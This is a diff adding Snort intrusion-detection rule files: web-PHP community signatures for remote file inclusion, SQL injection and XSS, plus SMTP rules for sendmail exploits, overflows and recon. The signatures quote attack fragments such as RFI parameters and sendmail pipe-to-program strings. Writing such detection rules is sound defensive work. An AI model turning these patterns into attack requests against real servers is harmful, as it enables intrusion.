+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP FlushCMS class.rich.php remote file include"; flow:to_server,established; uricontent:"Include/editor/rich_files/class.rich.php"; nocase; uricontent:"class_path="; nocase; pcre:"/class_path=(https?|ftp)/Ui"; reference:bugtraq,19023; classtype:web-application-attack; sid:100000861; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP FlushCMS class.rich.php remote file include"; flow:to_server,established; uricontent:"Include/editor/class.rich.php"; nocase; uricontent:"class_path="; nocase; pcre:"/class_path=(https?|ftp)/Ui"; reference:bugtraq,19023; classtype:web-application-attack; sid:100000862; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHPMyRing view_com.php SQL injection attempt"; flow:to_server,established; uricontent:"/view_com.php"; nocase; uricontent:"idsite="; nocase; pcre:"/idsite(=|\x3f)?\w*\x27/Ui"; reference:url,secunia.com/advisories/21451/; classtype:web-application-attack; sid:100000863; rev:1;)
+
+# Rules from <urleet@gmail.com>
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s01"; flow:to_server,established; uricontent:"/s01.php|3f|shopid|3d|"; nocase; pcre:"/s01.php\x3fshopid\x3d(https?|ftp)/Ui"; reference:url,www.powergap-shop.de; reference:url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html; classtype:web-application-attack; sid:100000865; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s02"; flow:to_server,established; uricontent:"/s02.php|3f|shopid|3d|"; nocase; pcre:"/s02.php\x3fshopid\x3d(https?|ftp)/Ui"; reference:url,www.powergap-shop.de; reference:url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html; classtype:web-application-attack; sid:100000866; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s03"; flow:to_server,established; uricontent:"/s03.php|3f|shopid|3d|"; nocase; pcre:"/s03.php\x3fshopid\x3d(https?|ftp)/Ui"; reference:url,www.powergap-shop.de; reference:url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html; classtype:web-application-attack; sid:100000867; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s04"; flow:to_server,established; uricontent:"/s04.php|3f|shopid|3d|"; nocase; pcre:"/s04.php\x3fshopid\x3d(https?|ftp)/Ui"; reference:url,www.powergap-shop.de; reference:url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html; classtype:web-application-attack; sid:100000868; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP powergap remote file Inclusion Exploit sid variant"; flow:to_server,established; uricontent:"/sid|3d|"; nocase; content:"|26|shopid|3d|"; nocase; within:20; reference:url,www.powergap-shop.de; reference:url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html; classtype:web-application-attack; sid:100000869; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP powergap remote file inclusion exploit sid variant 2"; flow:to_server,established; uricontent:"/sid|3d|"; nocase; pcre:"/sid\x3d(https?|ftp)/Ui"; reference:url,www.powergap-shop.de; reference:url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html; classtype:web-application-attack; sid:100000870; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP CubeCart XSS attack"; flow:to_server,established; uricontent:"/admin/filemanager/preview.php?file="; nocase; pcre:"/((1)?&(x|y)=)?/Ri"; reference:url,retrogod.altervista.org/cubecart_3011_adv.html; classtype:web-application-attack; sid:100000871; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP CubeCart XSS attack"; flow:to_server,established; uricontent:"/admin/login.php?email="; nocase; reference:url,retrogod.altervista.org/cubecart_3011_adv.html; classtype:web-application-attack; sid:100000872; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP discloser 0.0.4 Remote File Inclusion"; flow:to_server,established; uricontent:"/plugins/plugins.php?type="; nocase; pcre:"/type\x3d(https?|ftp)/Ui"; classtype:web-application-attack; sid:100000873; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHP Live Helper globals.php remote file include"; flow:to_server,established; uricontent:"/globals.php"; nocase; uricontent:"abs_path="; nocase; pcre:"/abs_path=(https?|ftp)/Ui"; reference:bugtraq,19349; classtype:web-application-attack; sid:100000882; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Inlink remote file inclusion exploit"; flow:to_server,established; uricontent:"/includes/adodb/back/adodb-postgres7.inc.php"; nocase; reference:url,milw0rm.com/exploits/2295; classtype:web-application-attack; sid:100000883; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-MISC SimpleBlog Remote SQL Injection attempt"; flow:to_server,established; uricontent:"/default.asp"; nocase; content:"view=plink"; nocase; reference:url,milw0rm.com/exploits/2296; classtype:web-application-attack; sid:100000884; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP pHNews access attempt"; flow:to_server,established; uricontent:"/modules/commens.php"; nocase; content:"templates_dir"; nocase; content:"cmd="; nocase; reference:url,milw0rm.com/exploits/2298; classtype:web-application-attack; sid:100000885; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Proxima access attempt"; flow:to_server,established; uricontent:"/modules/Forums/bb_smilies.php"; nocase; content:"name="; nocase; content:"cmd="; nocase; reference:url,milw0rm.com/exploits/2299; classtype:web-application-attack; sid:100000886; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP pmwiki exploit attempt"; flow:to_server,established; content:"POST"; nocase; depth:4; content:"pmwiki.php"; nocase; distance:0; content:"n=PmWiki.BasicEditing"; nocase; distance:0; content:"action=edit"; nocase; distance:0; reference:url,milw0rm.com/exploits/2291; classtype:web-application-attack; sid:100000887; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP tikiwiki exploit attempt"; flow:to_server,established; content:"POST"; nocase; depth:4; content:"jhot.php"; nocase; distance:0; reference:url,milw0rm.com/exploits/2288; classtype:web-application-attack; sid:100000888; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP yappa-ng exploit attempt"; flow:to_server,established; uricontent:"/admin_modules/admin_module_deldir.inc.php"; nocase; content:"config"; nocase; reference:url,milw0rm.com/exploits/2292; classtype:web-application-attack; sid:100000889; rev:2;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP UBB.threads remote file include"; flow:to_server,established; uricontent:"addpost_newpoll.php?"; nocase; uricontent:"thispath="; nocase; pcre:"/addpost_newpoll\x2Ephp\x3F[^\r\n]*thispath=(https?|ftp)/Ui"; classtype:web-application-attack; sid:100000906; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP phpMyWebmin change_preferences2 script remote file include"; flow:to_server,established; uricontent:"change_preferences.php?"; nocase; uricontent:"target="; nocase; pcre:"/target=(https?|ftp)/Ui"; reference:url,www.securityfocus.com/bid/20281/info; classtype:web-application-attack; sid:100000907; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP phpMyWebmin create_file script remote file include"; flow:to_server,established; uricontent:"create_file.php?"; nocase; uricontent:"target="; nocase; pcre:"/target=(https?|ftp)/Ui"; reference:url,www.securityfocus.com/bid/20281/info; classtype:web-application-attack; sid:100000908; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP phpMyWebmin upload_local script remote file include"; flow:to_server,established; uricontent:"upload_local.php?"; nocase; uricontent:"target="; nocase; pcre:"/target=(https?|ftp)/Ui"; reference:url,www.securityfocus.com/bid/20281/info; classtype:web-application-attack; sid:100000909; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP phpMyWebmin upload_multi script remote file include"; flow:to_server,established; uricontent:"upload_multi.php?"; nocase; uricontent:"target="; nocase; pcre:"/target=(https?|ftp)/Ui"; reference:url,www.securityfocus.com/bid/20281/info; classtype:web-application-attack; sid:100000910; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Dayfox Blog adminlog.php module remote file include"; flow:to_server,established; uricontent:"/edit/adminlog.php?"; nocase; uricontent:"slogin="; nocase; pcre:"/slogin=(https?|ftp)/Ui"; reference:url,www.securityfocus.com/archive/1/447500/30/0/threaded; classtype:web-application-attack; sid:100000911; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Dayfox Blog postblog.php module remote file include"; flow:to_server,established; uricontent:"/edit/postblog.php?"; nocase; uricontent:"slogin="; nocase; pcre:"/slogin=(https?|ftp)/Ui"; reference:url,www.securityfocus.com/archive/1/447500/30/0/threaded; classtype:web-application-attack; sid:100000912; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Dayfox Blog index.php module remote file include"; flow:to_server,established; uricontent:"/edit/index.php?"; nocase; uricontent:"slogin="; nocase; pcre:"/slogin=(https?|ftp)/Ui"; reference:url,www.securityfocus.com/archive/1/447500/30/0/threaded; classtype:web-application-attack; sid:100000913; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Dayfox Blog index2.php module remote file include"; flow:to_server,established; uricontent:"/edit/index2.php?"; nocase; uricontent:"slogin="; nocase; pcre:"/slogin=(https?|ftp)/Ui"; reference:url,www.securityfocus.com/archive/1/447500/30/0/threaded; classtype:web-application-attack; sid:100000914; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Somery Include.php remote file include"; flow:established,to_server; uricontent:"/include.php"; nocase; content:"skindir="; nocase; pcre:"/skindir=(https?|ftp)/Ui"; reference:bugtraq,19912; classtype:web-application-attack; sid:100000915; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MyBulletinBoard Functions_Post.php xss attempt"; flow:established,to_server; uricontent:"/functions_post.php?"; nocase; content:"script="; nocase; pcre:"/script(=|\x3f)\x3c[^\n]+\x3e/Ui"; reference:bugtraq,19770; classtype:web-application-attack; sid:100000916; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHP-Dimension functions_kb.php remote file include attempt";flow:established,to_server; uricontent:"/includes/functions_kb.php?"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,20367; classtype:web-application-attack; sid:100000917; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PHP-Dimension themen_portal_mitte.php remote include attempt"; flow:established,to_server; uricontent:"/includes/themen_portal_mitte.php?"; nocase; uricontent:"phpbb_root_path="; nocase; pcre:"/phpbb_root_path=(https?|ftp)/Ui"; reference:bugtraq,20367; classtype:web-application-attack; sid:100000918; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Segue CMS themesettings.inc.php remote file include attempt"; flow:established,to_server; uricontent:"themesettings.inc.php"; uricontent:"themesdir="; pcre:"/themesdir=(https?|ftp|\x2F)/Ui"; reference:bugtraq,20640; reference:cve,2006-5497; reference:url,osvdb.org/29904; reference:nessus,22922; reference:url,www.milw0rm.com/exploits/2600; classtype:web-application-attack; sid:100000919; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP MiniBB bb_func_txt.php pathToFiles variable remote file include"; flow:to_server,established; uricontent:"/bb_func_txt.php"; nocase; uricontent:"pathToFiles="; nocase; pcre:"/pathToFiles=(https?|ftp|\x2F)/Ui"; reference:bugtraq,20757; reference:url,osvdb.org/29971; reference:nessus,22926; classtype:web-application-attack; sid:100000920; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP PunBB register.php language variable remote file include"; flow:to_server,established; content:"register.php"; nocase; content:"language="; nocase; pcre:"/language=(\x2F|\x2E)/Ui"; reference:bugtraq,20786; reference:cve,2006-5735; reference:url,osvdb.org/30132; reference:nessus,22932; classtype:web-application-attack; sid:100000921; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Etomite CMS index.php id variable SQL injection"; flow:to_server,established; uricontent:"/etomite/index.php"; nocase; uricontent:"id="; nocase; pcre:"/id=[A-Za-z0-9]{1,}\'/Ui"; reference:bugtraq,21135; reference:url,osvdb.org/30442; reference:url,secunia.com/advisories/22885; classtype:web-application-attack; sid:100000922; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY-WEB-PHP ADP Forum Attempted Password Recon"; uricontent:"/users/admin.txt"; nocase; reference:url,www.milw0rm.com/exploits/3053; classtype:web-application-attack; sid:100000925; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY-WEB-PHP EasyNews PRO News Attempted Password Recon"; uricontent:"/newsboard/data/users.txt"; nocase; reference:url,www.milw0rm.com/exploits/3039; classtype:web-application-attack; sid:100000926; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Xoops module Articles SQL Injection Exploit"; flow:to_server,established; uricontent:"/modules/articles/index.php"; nocase; uricontent:"cat_id="; nocase; reference:url,www.securityfocus.com/archive/1/463916; classtype:web-application-attack; sid:100000929; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Drake CMS 404.php Local File Include Vulnerability"; flow:established,to_server; uricontent:"404.php?"; nocase; uricontent:"d_private="; nocase; reference:bugtraq,23215; classtype:web-application-attack; sid:100000930; rev:1;) 
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Softerra Time-Assistant remote include attempt";flow:established,to_server; uricontent:"/lib/timesheet.class.php?"; nocase; uricontent:"lib_dir="; nocase; pcre:"/lib_dir=(https?|ftp)/Ui"; classtype:web-application-attack; reference:bugtraq,23203; sid:100000931; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Softerra Time-Assistant remote include attempt";flow:established,to_server; uricontent:"/lib/timesheet.class.php?"; nocase; uricontent:"inc_dir="; nocase; pcre:"/inc_dir=(https?|ftp)/Ui"; classtype:web-application-attack; reference:bugtraq,23203; sid:100000932; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Aardvark button/settings_sql.php File Include Vulnerability"; flow:established,to_server; uricontent:"/button/settings_sql.php"; nocase; content:"path="; nocase; pcre:"/path=(https?|ftp)/Ui"; priority:3; reference:url,securityfocus.com/archive/1/464351; classtype:web-application-attack; sid:100000933; rev:1;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"COMMUNITY WEB-PHP Aardvark button/new_day.php File Include Vulnerability"; flow:established,to_server; uricontent:"/button/new_day.php"; nocase; content:"path="; nocase; pcre:"/path=(https?|ftp)/Ui"; priority:3; reference:url,securityfocus.com/archive/1/464351; classtype:web-application-attack; sid:100000934; rev:1;)
--- snort-2.8.5.2.orig/rules/experimental.rules
+++ snort-2.8.5.2/rules/experimental.rules
@@ -0,0 +1,27 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: experimental.rules,v 1.78.2.1.2.1 2005/05/16 22:17:51 mwatchinski Exp $
+# ---------------
+# EXPERIMENTAL RULES
+# ---------------
+# These signatures are experimental, new and may trigger way too often.
+#
+# Be forwarned, this is our testing ground.  We put new signatures here for
+# testing before incorporating them into the default signature set.  This is
+# for bleeding edge stuff only.
+#
--- snort-2.8.5.2.orig/rules/cgi-bin.list
+++ snort-2.8.5.2/rules/cgi-bin.list
@@ -0,0 +1,16 @@
+# (C) Copyright 2001,2002 Brian Caswell, et al.  All rights reserved.
+# $Id: cgi-bin.list,v 1.3 2002/08/18 20:28:43 cazz Exp $
+#--------------
+# cgi-bin list
+#--------------
+# if content-list actually worked, this would be our content-list for 
+# the different CGI bin directories we would check for.
+
+"/cgi-bin/"
+"/cgi/"
+"/cgi-local/"
+"/perl/"
+"/mod_perl/"
+"/scripts/"
+"/comps/"
+"/cgi-bin-sdb/"
--- snort-2.8.5.2.orig/rules/smtp.rules
+++ snort-2.8.5.2/rules/smtp.rules
@@ -0,0 +1,94 @@
+# Copyright 2001-2005 Sourcefire, Inc. All Rights Reserved
+#
+# This file may contain proprietary rules that were created, tested and
+# certified by Sourcefire, Inc. (the "VRT Certified Rules") as well as
+# rules that were created by Sourcefire and other third parties and
+# distributed under the GNU General Public License (the "GPL Rules").  The
+# VRT Certified Rules contained in this file are the property of
+# Sourcefire, Inc. Copyright 2005 Sourcefire, Inc. All Rights Reserved.
+# The GPL Rules created by Sourcefire, Inc. are the property of
+# Sourcefire, Inc. Copyright 2002-2005 Sourcefire, Inc. All Rights
+# Reserved.  All other GPL Rules are owned and copyrighted by their
+# respective owners (please see www.snort.org/contributors for a list of
+# owners and their respective copyrights).  In order to determine what
+# rules are VRT Certified Rules or GPL Rules, please refer to the VRT
+# Certified Rules License Agreement.
+#
+#
+# $Id: smtp.rules,v 1.44.2.4.2.6 2005/07/22 19:19:54 mwatchinski Exp $
+#-----------
+# SMTP RULES
+#-----------
+
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP RCPT TO overflow"; flow:to_server,established; content:"rcpt to|3A|"; nocase; isdataat:300,relative; pcre:"/^RCPT TO\x3a\s[^\n]{300}/ism"; reference:bugtraq,2283; reference:bugtraq,9696; reference:cve,2001-0260; classtype:attempted-admin; sid:654; rev:14;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP chameleon overflow"; flow:to_server,established; content:"HELP"; nocase; isdataat:500,relative; pcre:"/^HELP\s[^\n]{500}/ism"; reference:arachnids,266; reference:bugtraq,2387; reference:cve,1999-0261; classtype:attempted-admin; sid:657; rev:12;)
+alert tcp $EXTERNAL_NET 113 -> $SMTP_SERVERS 25 (msg:"SMTP sendmail 8.6.9 exploit"; flow:to_server,established; content:"|0A|D/"; reference:arachnids,140; reference:bugtraq,2311; reference:cve,1999-0204; classtype:attempted-admin; sid:655; rev:8;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP exchange mime DOS"; flow:to_server,established; content:"charset = |22 22|"; nocase; reference:bugtraq,1869; reference:cve,2000-1006; reference:nessus,10558; reference:url,www.microsoft.com/technet/security/bulletin/MS00-082.mspx; classtype:attempted-dos; sid:658; rev:11;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP expn decode"; flow:to_server,established; content:"expn"; nocase; content:"decode"; nocase; pcre:"/^expn\s+decode/smi"; reference:arachnids,32; reference:cve,1999-0096; reference:nessus,10248; classtype:attempted-recon; sid:659; rev:9;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP expn root"; flow:to_server,established; content:"expn"; nocase; content:"root"; nocase; pcre:"/^expn\s+root/smi"; reference:arachnids,31; reference:cve,1999-0531; reference:nessus,10249; classtype:attempted-recon; sid:660; rev:10;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP expn *@"; flow:to_server,established; content:"expn"; nocase; content:"*@"; pcre:"/^expn\s+\*@/smi"; reference:cve,1999-1200; classtype:misc-attack; sid:1450; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP majordomo ifs"; flow:to_server,established; content:"eply-to|3A| a~.`/bin/"; reference:arachnids,143; reference:bugtraq,2310; reference:cve,1999-0207; classtype:attempted-admin; sid:661; rev:9;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP sendmail 5.5.5 exploit"; flow:to_server,established; content:"mail from|3A| |22 7C|"; nocase; reference:arachnids,119; reference:cve,1999-0203; reference:nessus,10258; classtype:attempted-admin; sid:662; rev:8;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP rcpt to command attempt"; flow:to_server,established; content:"rcpt to|3A|"; nocase; pcre:"/^rcpt\s+to\:\s*[|\x3b]/smi"; reference:arachnids,172; reference:bugtraq,1; reference:cve,1999-0095; classtype:attempted-admin; sid:663; rev:14;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP RCPT TO decode attempt"; flow:to_server,established; content:"rcpt to|3A|"; nocase; content:"decode"; distance:0; nocase; pcre:"/^rcpt to\:\s*decode/smi"; reference:arachnids,121; reference:bugtraq,2308; reference:cve,1999-0203; classtype:attempted-admin; sid:664; rev:15;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP sendmail 5.6.5 exploit"; flow:to_server,established; content:"MAIL FROM|3A| |7C|/usr/ucb/tail"; nocase; reference:arachnids,122; reference:bugtraq,2308; reference:cve,1999-0203; classtype:attempted-user; sid:665; rev:8;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP sendmail 8.6.10 exploit"; flow:to_server,established; content:"Croot|0D 0A|Mprog, P=/bin/"; reference:arachnids,123; reference:bugtraq,2311; reference:cve,1999-0204; classtype:attempted-user; sid:667; rev:8;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP sendmail 8.6.10 exploit"; flow:to_server,established; content:"Croot|09 09 09 09 09 09 09|Mprog,P=/bin"; reference:arachnids,124; reference:bugtraq,2311; reference:cve,1999-0204; classtype:attempted-user; sid:668; rev:8;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP sendmail 8.6.9 exploit"; flow:to_server,established; content:"|0A|Croot|0A|Mprog"; reference:arachnids,142; reference:bugtraq,2311; reference:cve,1999-0204; classtype:attempted-user; sid:669; rev:8;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP sendmail 8.6.9 exploit"; flow:to_server,established; content:"|0A|C|3A|daemon|0A|R"; reference:arachnids,139; reference:bugtraq,2311; reference:cve,1999-0204; classtype:attempted-user; sid:670; rev:7;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP sendmail 8.6.9c exploit"; flow:to_server,established; content:"|0A|Croot|0D 0A|Mprog"; reference:arachnids,141; reference:bugtraq,2311; reference:cve,1999-0204; classtype:attempted-user; sid:671; rev:8;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP vrfy decode"; flow:to_server,established; content:"vrfy"; nocase; content:"decode"; distance:1; nocase; pcre:"/^vrfy\s+decode/smi"; reference:arachnids,373; reference:bugtraq,10248; reference:cve,1999-0096; classtype:attempted-recon; sid:672; rev:9;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP vrfy root"; flow:to_server,established; content:"vrfy"; nocase; content:"root"; distance:1; nocase; pcre:"/^vrfy\s+root/smi"; classtype:attempted-recon; sid:1446; rev:6;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP ehlo cybercop attempt"; flow:to_server,established; content:"ehlo cybercop|0A|quit|0A|"; reference:arachnids,372; classtype:protocol-command-decode; sid:631; rev:6;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP expn cybercop attempt"; flow:to_server,established; content:"expn cybercop"; reference:arachnids,371; classtype:protocol-command-decode; sid:632; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP HELO overflow attempt"; flow:to_server,established; content:"HELO"; nocase; isdataat:500,relative; pcre:"/^HELO\s[^\n]{500}/smi"; reference:bugtraq,7726; reference:bugtraq,895; reference:cve,2000-0042; reference:nessus,10324; reference:nessus,11674; classtype:attempted-admin; sid:1549; rev:17;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP ETRN overflow attempt"; flow:to_server,established; content:"ETRN"; nocase; isdataat:500,relative; pcre:"/^ETRN\s[^\n]{500}/smi"; reference:bugtraq,1297; reference:bugtraq,7515; reference:cve,2000-0490; reference:nessus,10438; classtype:attempted-admin; sid:1550; rev:15;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP From comment overflow attempt"; flow:to_server,established; content:"From|3A|"; nocase; content:"<><><><><><><><><><><><><><><><><><><><><><>"; distance:0; content:"|28|"; distance:1; content:"|29|"; distance:1; reference:bugtraq,6991; reference:cve,2002-1337; reference:url,www.kb.cert.org/vuls/id/398025; classtype:attempted-admin; sid:2087; rev:8;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP Content-Transfer-Encoding overflow attempt"; flow:to_server,established; content:"Content-Transfer-Encoding|3A|"; nocase; isdataat:100,relative; content:!"|0A|"; within:100; reference:cve,2003-0161; reference:url,www.cert.org/advisories/CA-2003-12.html; classtype:attempted-admin; sid:2183; rev:6;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP XEXCH50 overflow attempt"; flow:to_server,established; content:"XEXCH50"; nocase; pcre:"/^XEXCH50\s+-\d/smi"; reference:bugtraq,8838; reference:cve,2003-0714; reference:nessus,11889; reference:url,www.microsoft.com/technet/security/bulletin/MS03-046.mspx; classtype:attempted-admin; sid:2253; rev:7;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP EXPN overflow attempt"; flow:to_server,established; content:"EXPN"; nocase; pcre:"/^EXPN[^\n]{255,}/smi"; reference:bugtraq,6991; reference:bugtraq,7230; reference:cve,2002-1337; reference:cve,2003-0161; classtype:attempted-admin; sid:2259; rev:5;)
+alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:"SMTP VRFY overflow attempt"; flow:to_server,established; content:"VRFY"; nocase; pcre:"/^VRFY[^\n]{255,}/smi"; reference:bugtraq,6991; reference:bugtraq,7230; reference:cve,2002-1337; reference:cve,2003-0161; classtype:attempted-admin; sid:2260; rev:5;)
+
